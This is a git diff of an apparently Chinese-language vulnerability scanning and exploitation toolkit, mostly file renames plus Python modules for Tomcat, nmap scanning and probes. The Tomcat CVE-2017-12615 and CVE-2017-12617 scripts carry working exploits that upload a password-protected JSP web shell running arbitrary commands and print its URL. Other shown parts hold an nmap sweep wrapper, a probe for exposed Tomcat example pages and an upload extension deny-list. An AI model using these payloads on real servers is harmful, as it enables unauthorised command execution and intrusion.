- 黑名单: ConfigDeniedExtensions.Add "File","php|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg"
- 白名单: ConfigAllowedExtensions.Add "Image","jpg|gif|jpeg|png|bmp"
- ''')
-
-if __name__ == "__main__":
- tomcat_vulnlist()
- apache_vulnlist()
\ No newline at end of file
diff --git a/moon/navigate_vuln/88.php b/navigate_vuln/88.php
similarity index 100%
rename from moon/navigate_vuln/88.php
rename to navigate_vuln/88.php
diff --git a/moon/navigate_vuln/Main_navigate.py b/navigate_vuln/Main_navigate.py
similarity index 100%
rename from moon/navigate_vuln/Main_navigate.py
rename to navigate_vuln/Main_navigate.py
diff --git a/moon/navigate_vuln/__init__.py b/navigate_vuln/__init__.py
similarity index 100%
rename from moon/navigate_vuln/__init__.py
rename to navigate_vuln/__init__.py
diff --git a/moon/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc b/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc
similarity index 100%
rename from moon/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc
rename to navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc
diff --git a/navigate_vuln/__pycache__/Main_navigate.cpython-37.pyc b/navigate_vuln/__pycache__/Main_navigate.cpython-37.pyc
new file mode 100644
index 0000000..d7898c0
Binary files /dev/null and b/navigate_vuln/__pycache__/Main_navigate.cpython-37.pyc differ
diff --git a/moon/navigate_vuln/__pycache__/__init__.cpython-36.pyc b/navigate_vuln/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/navigate_vuln/__pycache__/__init__.cpython-36.pyc
rename to navigate_vuln/__pycache__/__init__.cpython-36.pyc
diff --git a/navigate_vuln/__pycache__/__init__.cpython-37.pyc b/navigate_vuln/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..4d78a0c
Binary files /dev/null and b/navigate_vuln/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc
similarity index 100%
rename from moon/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc
rename to navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc
diff --git a/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-37.pyc b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-37.pyc
new file mode 100644
index 0000000..edf7c66
Binary files /dev/null and b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-37.pyc differ
diff --git a/moon/navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py b/navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py
similarity index 100%
rename from moon/navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py
rename to navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py
diff --git a/nmap_br/Main_nmap.py b/nmap_br/Main_nmap.py
new file mode 100644
index 0000000..980004d
--- /dev/null
+++ b/nmap_br/Main_nmap.py
@@ -0,0 +1,15 @@
+# -*- coding: utf-8 -*-
+import os
+import nmap_br.nmap_n
+
+
+def exec(IP,PORT):
+ try:
+ nmap_br.nmap_n.attack(IP,PORT)
+ except:
+ print('userage: moon.py -u nmap port IP port,IP为nmap格式。端口可为空 ''')
+
+
+
+if __name__ == "__main__":
+ exec()
diff --git a/moon/redis_vuln/__init__.py b/nmap_br/__init__.py
similarity index 100%
rename from moon/redis_vuln/__init__.py
rename to nmap_br/__init__.py
diff --git a/nmap_br/__pycache__/Main_nmap.cpython-37.pyc b/nmap_br/__pycache__/Main_nmap.cpython-37.pyc
new file mode 100644
index 0000000..94c4a94
Binary files /dev/null and b/nmap_br/__pycache__/Main_nmap.cpython-37.pyc differ
diff --git a/nmap_br/__pycache__/__init__.cpython-37.pyc b/nmap_br/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..fb6f258
Binary files /dev/null and b/nmap_br/__pycache__/__init__.cpython-37.pyc differ
diff --git a/nmap_br/__pycache__/nmap_n.cpython-37.pyc b/nmap_br/__pycache__/nmap_n.cpython-37.pyc
new file mode 100644
index 0000000..2221ca9
Binary files /dev/null and b/nmap_br/__pycache__/nmap_n.cpython-37.pyc differ
diff --git a/nmap_br/nmap_n.py b/nmap_br/nmap_n.py
new file mode 100644
index 0000000..94c120c
--- /dev/null
+++ b/nmap_br/nmap_n.py
@@ -0,0 +1,73 @@
+# -*- coding:utf-8 -*-
+import re
+from bs4 import BeautifulSoup
+import xlwt
+import os
+
+#将 -sn 输出的存活主机整理出来 针对xml文件
+def adjust_result1(file):
+ f = open("Live_IP.txt", "w",encoding='utf-8')
+ fopen = open(file, "r")
+ line = fopen.readlines()
+ num = len(line)
+ x = 0
+ while x < num:
+ if 'state="up"' in line[x]:
+ print(re.findall('
',line[x+1].strip(),flags=0)[0])
+ f.write(re.findall('',line[x+1].strip(),flags=0)[0]+'\n')
+ x = x + 1
+ f.close()
+ print('Total:'+str(len(open("Live_IP.txt", "r").readlines()))+'个IP。文件创建完成。')
+
+#存活主机测试-遗漏可能超过50%
+def attack1(IP):
+ os.system(f'nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 {IP} -oX result_liveip.xml')
+ adjust_result('result.xml')
+
+#将普通扫描结果整理成IP对应端口的形式。 针对xml文件
+def adjust_result(file):
+ workbook = xlwt.Workbook(encoding = 'utf-8') # 创建一个workbook 设置编码
+ worksheet = workbook.add_sheet('result') # 创建一个worksheet,sheet页名称
+ worksheet.write(0,0, label ='Sequence number')
+ worksheet.write(0,1, label ='IP:PORT')
+ worksheet.write(0,2, label ='Reason')
+ worksheet.write(0,3, label ='State')
+ worksheet.write(0,4, label ='Service')
+ w = 1
+ fopen = open(file, "r")
+ soup = BeautifulSoup(fopen,"lxml")
+ for x in range(0,len(soup.find_all('host'))):
+ if soup.find_all('host')[x].find_all('status')[0].attrs['state'] == 'up':
+ for y in range(0,len(soup.find_all('host')[x].find_all('port'))):
+ worksheet.write(w,0, label =w)
+ #获取IP及其对应的端口
+ IP_PORT = re.findall('");
- while((a=in.read(b))!=-1){
- out.println(new String(b));
- }
- out.print("");
- }
-%>"""
- try:
- requests.put(url, headers=headers, data=data)
- time.sleep(2)
- verify_response = requests.get(url[:-1], headers=headers)
- if verify_response.status_code == 200:
- print('存在-Tomcat-CVE-2017-12615!!!')
- print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami')
- else :
- print('访问shell地址:'+verify_response.status_code)
- print("未发现-Tomcat-CVE-2017-12615。")
- except :
- print("未发现-Tomcat-CVE-2017-12615。")
- print('[+]检测结束-Tomcat-CVE-2017-12615。[+]')
- print('\n')
-
-if __name__ == "__main__":
+# -*- coding: utf-8 -*-
+import sys
+import requests
+import time
+
+'''
+Usage:
+ moon.py -u tomcat http://127.0.0.1:8080
+ shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami
+ 影响范围:Linux/Windows Tomcat: 7.0.0 to 7.0.79 - 官网数据
+ 成因:Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
+ 最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true
+'''
+
+def attack(URL):
+ print('[+]开始检测-Tomcat-CVE-2017-12615。[+]')
+ url = URL + '/T68t8YT86.jsp/'
+ user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
+ headers={"User-Agent":user_agent}
+ data="""<%
+ if("fff".equals(request.getParameter("pwd"))){
+ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
+ int a = -1;
+ byte[] b = new byte[2048];
+ out.print("");
+ while((a=in.read(b))!=-1){
+ out.println(new String(b));
+ }
+ out.print("");
+ }
+%>"""
+ try:
+ requests.put(url, headers=headers, data=data)
+ time.sleep(2)
+ verify_response = requests.get(url[:-1], headers=headers)
+ if verify_response.status_code == 200:
+ print('存在-Tomcat-CVE-2017-12615!!!')
+ print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami')
+ else :
+ print('访问shell地址:'+verify_response.status_code)
+ print("未发现-Tomcat-CVE-2017-12615。")
+ except :
+ print("未发现-Tomcat-CVE-2017-12615。")
+ print('[+]检测结束-Tomcat-CVE-2017-12615。[+]')
+ print('\n')
+
+if __name__ == "__main__":
attack()
\ No newline at end of file
diff --git a/moon/tomcat/CVE_2017_12617.py b/tomcat/CVE_2017_12617.py
similarity index 96%
rename from moon/tomcat/CVE_2017_12617.py
rename to tomcat/CVE_2017_12617.py
index c054e1d..ea82c4d 100644
--- a/moon/tomcat/CVE_2017_12617.py
+++ b/tomcat/CVE_2017_12617.py
@@ -1,58 +1,58 @@
-#!/usr/bin/python
-
-import string
-from random import *
-import requests
-
-
-'''
-Usage:
- moon.py -u tomcat http://127.0.0.1:8080
- shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami
-'''
-
-def gen_shell():
- min_char = 4
- max_char = 12
- allchar = string.ascii_letters + string.digits
- shell_name = "".join(choice(allchar) for x in range(randint(min_char, max_char)))
- return shell_name + ".jsp"
-
-def construct_put(url, f):
- #print(url)
- evil = """<%
- if("fff".equals(request.getParameter("pwd"))){
- java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
- int a = -1;
- byte[] b = new byte[2048];
- out.print("");
- while((a=in.read(b))!=-1){
- out.println(new String(b));
- }
- out.print("");
- }
- %>"""
- headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
- req = requests.put(str(url) +'/'+ str(f) + "/", data=evil, headers=headers, verify=False)
- #print(req.status_code)
- if req.status_code == 201:
- #print("File Created ..")
- print('发现-Tomcat-CVE-2017-12617!!!')
- print('Shell地址:'+(str(url) +'/'+ str(f))+'?pwd=fff&cmd=whoami')
- else:
- print('未发现-Tomcat-CVE-2017-12617。')
-
-def attack(URL):
- print('[+]开始检测-Tomcat-CVE-2017-12617。[+]')
- shell_name = gen_shell()
- #print(shell_name)
- try:
- construct_put(URL, shell_name)
- except:
- print('shell上传错误。')
- print('[+]检测结束-Tomcat-CVE-2017-12617。[+]')
- print('\n')
-
-
-if __name__ == '__main__':
+#!/usr/bin/python
+
+import string
+from random import *
+import requests
+
+
+'''
+Usage:
+ moon.py -u tomcat http://127.0.0.1:8080
+ shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami
+'''
+
+def gen_shell():
+ min_char = 4
+ max_char = 12
+ allchar = string.ascii_letters + string.digits
+ shell_name = "".join(choice(allchar) for x in range(randint(min_char, max_char)))
+ return shell_name + ".jsp"
+
+def construct_put(url, f):
+ #print(url)
+ evil = """<%
+ if("fff".equals(request.getParameter("pwd"))){
+ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
+ int a = -1;
+ byte[] b = new byte[2048];
+ out.print("");
+ while((a=in.read(b))!=-1){
+ out.println(new String(b));
+ }
+ out.print("");
+ }
+ %>"""
+ headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
+ req = requests.put(str(url) +'/'+ str(f) + "/", data=evil, headers=headers, verify=False)
+ #print(req.status_code)
+ if req.status_code == 201:
+ #print("File Created ..")
+ print('发现-Tomcat-CVE-2017-12617!!!')
+ print('Shell地址:'+(str(url) +'/'+ str(f))+'?pwd=fff&cmd=whoami')
+ else:
+ print('未发现-Tomcat-CVE-2017-12617。')
+
+def attack(URL):
+ print('[+]开始检测-Tomcat-CVE-2017-12617。[+]')
+ shell_name = gen_shell()
+ #print(shell_name)
+ try:
+ construct_put(URL, shell_name)
+ except:
+ print('shell上传错误。')
+ print('[+]检测结束-Tomcat-CVE-2017-12617。[+]')
+ print('\n')
+
+
+if __name__ == '__main__':
attack()
\ No newline at end of file
diff --git a/moon/tomcat/Main_tomcat.py b/tomcat/Main_tomcat.py
similarity index 95%
rename from moon/tomcat/Main_tomcat.py
rename to tomcat/Main_tomcat.py
index cae54c4..e8589e0 100644
--- a/moon/tomcat/Main_tomcat.py
+++ b/tomcat/Main_tomcat.py
@@ -1,19 +1,19 @@
-# -*- coding: utf-8 -*-
-import os
-import tomcat.CVE_2017_12615
-import tomcat.example_vulnerability
-import tomcat.CVE_2017_12617
-import tomcat.tomcat_weakpasswd
-
-
-def exec(URL):
- tomcat.CVE_2017_12615.attack(URL)
- tomcat.CVE_2017_12617.attack(URL)
- tomcat.example_vulnerability.attack(URL)
- tomcat.tomcat_weakpasswd.attack(URL)
-
-
-
-
-if __name__ == "__main__":
- exec()
+# -*- coding: utf-8 -*-
+import os
+import tomcat.CVE_2017_12615
+import tomcat.example_vulnerability
+import tomcat.CVE_2017_12617
+import tomcat.tomcat_weakpasswd
+
+
+def exec(URL):
+ tomcat.CVE_2017_12615.attack(URL)
+ tomcat.CVE_2017_12617.attack(URL)
+ tomcat.example_vulnerability.attack(URL)
+ tomcat.tomcat_weakpasswd.attack(URL)
+
+
+
+
+if __name__ == "__main__":
+ exec()
diff --git a/moon/weblogic/__init__.py b/tomcat/__init__.py
similarity index 100%
rename from moon/weblogic/__init__.py
rename to tomcat/__init__.py
diff --git a/moon/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc b/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc
similarity index 100%
rename from moon/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc
rename to tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc
diff --git a/tomcat/__pycache__/CVE_2017_12615.cpython-37.pyc b/tomcat/__pycache__/CVE_2017_12615.cpython-37.pyc
new file mode 100644
index 0000000..ab37ee9
Binary files /dev/null and b/tomcat/__pycache__/CVE_2017_12615.cpython-37.pyc differ
diff --git a/moon/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc b/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc
similarity index 100%
rename from moon/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc
rename to tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc
diff --git a/tomcat/__pycache__/CVE_2017_12617.cpython-37.pyc b/tomcat/__pycache__/CVE_2017_12617.cpython-37.pyc
new file mode 100644
index 0000000..d341bd7
Binary files /dev/null and b/tomcat/__pycache__/CVE_2017_12617.cpython-37.pyc differ
diff --git a/moon/tomcat/__pycache__/Main_tomcat.cpython-36.pyc b/tomcat/__pycache__/Main_tomcat.cpython-36.pyc
similarity index 100%
rename from moon/tomcat/__pycache__/Main_tomcat.cpython-36.pyc
rename to tomcat/__pycache__/Main_tomcat.cpython-36.pyc
diff --git a/tomcat/__pycache__/Main_tomcat.cpython-37.pyc b/tomcat/__pycache__/Main_tomcat.cpython-37.pyc
new file mode 100644
index 0000000..d3f526e
Binary files /dev/null and b/tomcat/__pycache__/Main_tomcat.cpython-37.pyc differ
diff --git a/moon/tomcat/__pycache__/__init__.cpython-36.pyc b/tomcat/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/tomcat/__pycache__/__init__.cpython-36.pyc
rename to tomcat/__pycache__/__init__.cpython-36.pyc
diff --git a/tomcat/__pycache__/__init__.cpython-37.pyc b/tomcat/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..e7a31d8
Binary files /dev/null and b/tomcat/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/tomcat/__pycache__/example_vulnerability.cpython-36.pyc b/tomcat/__pycache__/example_vulnerability.cpython-36.pyc
similarity index 100%
rename from moon/tomcat/__pycache__/example_vulnerability.cpython-36.pyc
rename to tomcat/__pycache__/example_vulnerability.cpython-36.pyc
diff --git a/tomcat/__pycache__/example_vulnerability.cpython-37.pyc b/tomcat/__pycache__/example_vulnerability.cpython-37.pyc
new file mode 100644
index 0000000..4c0adda
Binary files /dev/null and b/tomcat/__pycache__/example_vulnerability.cpython-37.pyc differ
diff --git a/moon/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc b/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc
similarity index 100%
rename from moon/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc
rename to tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc
diff --git a/tomcat/__pycache__/tomcat_weakpasswd.cpython-37.pyc b/tomcat/__pycache__/tomcat_weakpasswd.cpython-37.pyc
new file mode 100644
index 0000000..1c37658
Binary files /dev/null and b/tomcat/__pycache__/tomcat_weakpasswd.cpython-37.pyc differ
diff --git a/moon/tomcat/example_vulnerability.py b/tomcat/example_vulnerability.py
similarity index 97%
rename from moon/tomcat/example_vulnerability.py
rename to tomcat/example_vulnerability.py
index b8ae571..5dafc9f 100644
--- a/moon/tomcat/example_vulnerability.py
+++ b/tomcat/example_vulnerability.py
@@ -1,53 +1,53 @@
-# -*- coding: utf-8 -*-
-import sys
-import requests
-import time
-
-'''
-Usage:
- moon.py -u tomcat http://127.0.0.1:8080
- 影响范围:Tomcat: 全版本
- session操纵漏洞:Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例,
- 其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。
- 因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。
- (不一定都是全局的,如果path只在examples下,那就无法利用)。
- 利用此漏洞需要知道相关后台登录后的session键值对,然后写入到session中,利用条件苛刻。
- https://cloud.tencent.com/info/2e03f26090fe592b6c7aa933dd6c0f94.html
- 解决办法:安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件* rm -rf /srv/apache-tomcat/webapps/*
-'''
-
-def attack(URL):
- urls = (
- '/examples/servlets/servlet/SessionExample', #200
- '/examples/', #304
- '/docs/', #304
- '/manager/html', # 401
- '/host-manager/html', #401
- '/icons/',
- '/manual/'
- )
-
- print('[+]开始检测-Tomcat-example_vulnerability。[+]')
- user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
- headers={"User-Agent":user_agent}
- for url in urls:
- url = URL + url
- try:
- verify_response = requests.get(url, headers=headers)
-
- if verify_response.status_code == 200 or 304 or 401:
- try:
- print('存在此页面:'+url+' '+str(verify_response.status_code))
- except:
- pass
- else :
- continue
- except :
- print("Someerror!")
- print('[+]检测结束-Tomcat-example_vulnerability。[+]')
- print('\n')
-
-if __name__ == "__main__":
- attack()
-
-
+# -*- coding: utf-8 -*-
+import sys
+import requests
+import time
+
+'''
+Usage:
+ moon.py -u tomcat http://127.0.0.1:8080
+ 影响范围:Tomcat: 全版本
+ session操纵漏洞:Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例,
+ 其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。
+ 因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。
+ (不一定都是全局的,如果path只在examples下,那就无法利用)。
+ 利用此漏洞需要知道相关后台登录后的session键值对,然后写入到session中,利用条件苛刻。
+ https://cloud.tencent.com/info/2e03f26090fe592b6c7aa933dd6c0f94.html
+ 解决办法:安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件* rm -rf /srv/apache-tomcat/webapps/*
+'''
+
+def attack(URL):
+ urls = (
+ '/examples/servlets/servlet/SessionExample', #200
+ '/examples/', #304
+ '/docs/', #304
+ '/manager/html', # 401
+ '/host-manager/html', #401
+ '/icons/',
+ '/manual/'
+ )
+
+ print('[+]开始检测-Tomcat-example_vulnerability。[+]')
+ user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
+ headers={"User-Agent":user_agent}
+ for url in urls:
+ url = URL + url
+ try:
+ verify_response = requests.get(url, headers=headers)
+
+ if verify_response.status_code == 200 or 304 or 401:
+ try:
+ print('存在此页面:'+url+' '+str(verify_response.status_code))
+ except:
+ pass
+ else :
+ continue
+ except :
+ print("Someerror!")
+ print('[+]检测结束-Tomcat-example_vulnerability。[+]')
+ print('\n')
+
+if __name__ == "__main__":
+ attack()
+
+
diff --git a/moon/tomcat/tomcat_weakpasswd.py b/tomcat/tomcat_weakpasswd.py
similarity index 100%
rename from moon/tomcat/tomcat_weakpasswd.py
rename to tomcat/tomcat_weakpasswd.py
diff --git a/moon/weblogic/CVE_2017_10271.py b/weblogic/CVE_2017_10271.py
similarity index 100%
rename from moon/weblogic/CVE_2017_10271.py
rename to weblogic/CVE_2017_10271.py
diff --git a/moon/weblogic/Main_weblogic.py b/weblogic/Main_weblogic.py
similarity index 100%
rename from moon/weblogic/Main_weblogic.py
rename to weblogic/Main_weblogic.py
diff --git a/moon/zabbix_vuln/__init__.py b/weblogic/__init__.py
similarity index 100%
rename from moon/zabbix_vuln/__init__.py
rename to weblogic/__init__.py
diff --git a/moon/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc b/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc
similarity index 100%
rename from moon/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc
rename to weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc
diff --git a/weblogic/__pycache__/CVE_2017_10271.cpython-37.pyc b/weblogic/__pycache__/CVE_2017_10271.cpython-37.pyc
new file mode 100644
index 0000000..d19ce2f
Binary files /dev/null and b/weblogic/__pycache__/CVE_2017_10271.cpython-37.pyc differ
diff --git a/moon/weblogic/__pycache__/Main_weblogic.cpython-36.pyc b/weblogic/__pycache__/Main_weblogic.cpython-36.pyc
similarity index 100%
rename from moon/weblogic/__pycache__/Main_weblogic.cpython-36.pyc
rename to weblogic/__pycache__/Main_weblogic.cpython-36.pyc
diff --git a/weblogic/__pycache__/Main_weblogic.cpython-37.pyc b/weblogic/__pycache__/Main_weblogic.cpython-37.pyc
new file mode 100644
index 0000000..a26e04d
Binary files /dev/null and b/weblogic/__pycache__/Main_weblogic.cpython-37.pyc differ
diff --git a/moon/weblogic/__pycache__/__init__.cpython-36.pyc b/weblogic/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/weblogic/__pycache__/__init__.cpython-36.pyc
rename to weblogic/__pycache__/__init__.cpython-36.pyc
diff --git a/weblogic/__pycache__/__init__.cpython-37.pyc b/weblogic/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..a1052b9
Binary files /dev/null and b/weblogic/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/weblogic/__pycache__/ssrf.cpython-36.pyc b/weblogic/__pycache__/ssrf.cpython-36.pyc
similarity index 100%
rename from moon/weblogic/__pycache__/ssrf.cpython-36.pyc
rename to weblogic/__pycache__/ssrf.cpython-36.pyc
diff --git a/weblogic/__pycache__/ssrf.cpython-37.pyc b/weblogic/__pycache__/ssrf.cpython-37.pyc
new file mode 100644
index 0000000..99be1ee
Binary files /dev/null and b/weblogic/__pycache__/ssrf.cpython-37.pyc differ
diff --git a/moon/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc b/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc
similarity index 100%
rename from moon/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc
rename to weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc
diff --git a/weblogic/__pycache__/weblogic_weakpasswd.cpython-37.pyc b/weblogic/__pycache__/weblogic_weakpasswd.cpython-37.pyc
new file mode 100644
index 0000000..90236c8
Binary files /dev/null and b/weblogic/__pycache__/weblogic_weakpasswd.cpython-37.pyc differ
diff --git a/moon/weblogic/ssrf.py b/weblogic/ssrf.py
similarity index 100%
rename from moon/weblogic/ssrf.py
rename to weblogic/ssrf.py
diff --git a/moon/weblogic/weblogic_weakpasswd.py b/weblogic/weblogic_weakpasswd.py
similarity index 100%
rename from moon/weblogic/weblogic_weakpasswd.py
rename to weblogic/weblogic_weakpasswd.py
diff --git a/moon/zabbix_vuln/Main_zabbix.py b/zabbix_vuln/Main_zabbix.py
similarity index 100%
rename from moon/zabbix_vuln/Main_zabbix.py
rename to zabbix_vuln/Main_zabbix.py
diff --git a/zabbix_vuln/__init__.py b/zabbix_vuln/__init__.py
new file mode 100644
index 0000000..7c68785
--- /dev/null
+++ b/zabbix_vuln/__init__.py
@@ -0,0 +1 @@
+# -*- coding: utf-8 -*-
\ No newline at end of file
diff --git a/moon/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc b/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc
similarity index 100%
rename from moon/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc
rename to zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc
diff --git a/zabbix_vuln/__pycache__/Main_zabbix.cpython-37.pyc b/zabbix_vuln/__pycache__/Main_zabbix.cpython-37.pyc
new file mode 100644
index 0000000..205fff6
Binary files /dev/null and b/zabbix_vuln/__pycache__/Main_zabbix.cpython-37.pyc differ
diff --git a/moon/zabbix_vuln/__pycache__/__init__.cpython-36.pyc b/zabbix_vuln/__pycache__/__init__.cpython-36.pyc
similarity index 100%
rename from moon/zabbix_vuln/__pycache__/__init__.cpython-36.pyc
rename to zabbix_vuln/__pycache__/__init__.cpython-36.pyc
diff --git a/zabbix_vuln/__pycache__/__init__.cpython-37.pyc b/zabbix_vuln/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..cc91b22
Binary files /dev/null and b/zabbix_vuln/__pycache__/__init__.cpython-37.pyc differ
diff --git a/moon/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc
similarity index 100%
rename from moon/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc
rename to zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc
diff --git a/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-37.pyc b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-37.pyc
new file mode 100644
index 0000000..b7309fd
Binary files /dev/null and b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-37.pyc differ
diff --git a/moon/zabbix_vuln/zabbix_sql_CVE_2016_10134.py b/zabbix_vuln/zabbix_sql_CVE_2016_10134.py
similarity index 100%
rename from moon/zabbix_vuln/zabbix_sql_CVE_2016_10134.py
rename to zabbix_vuln/zabbix_sql_CVE_2016_10134.py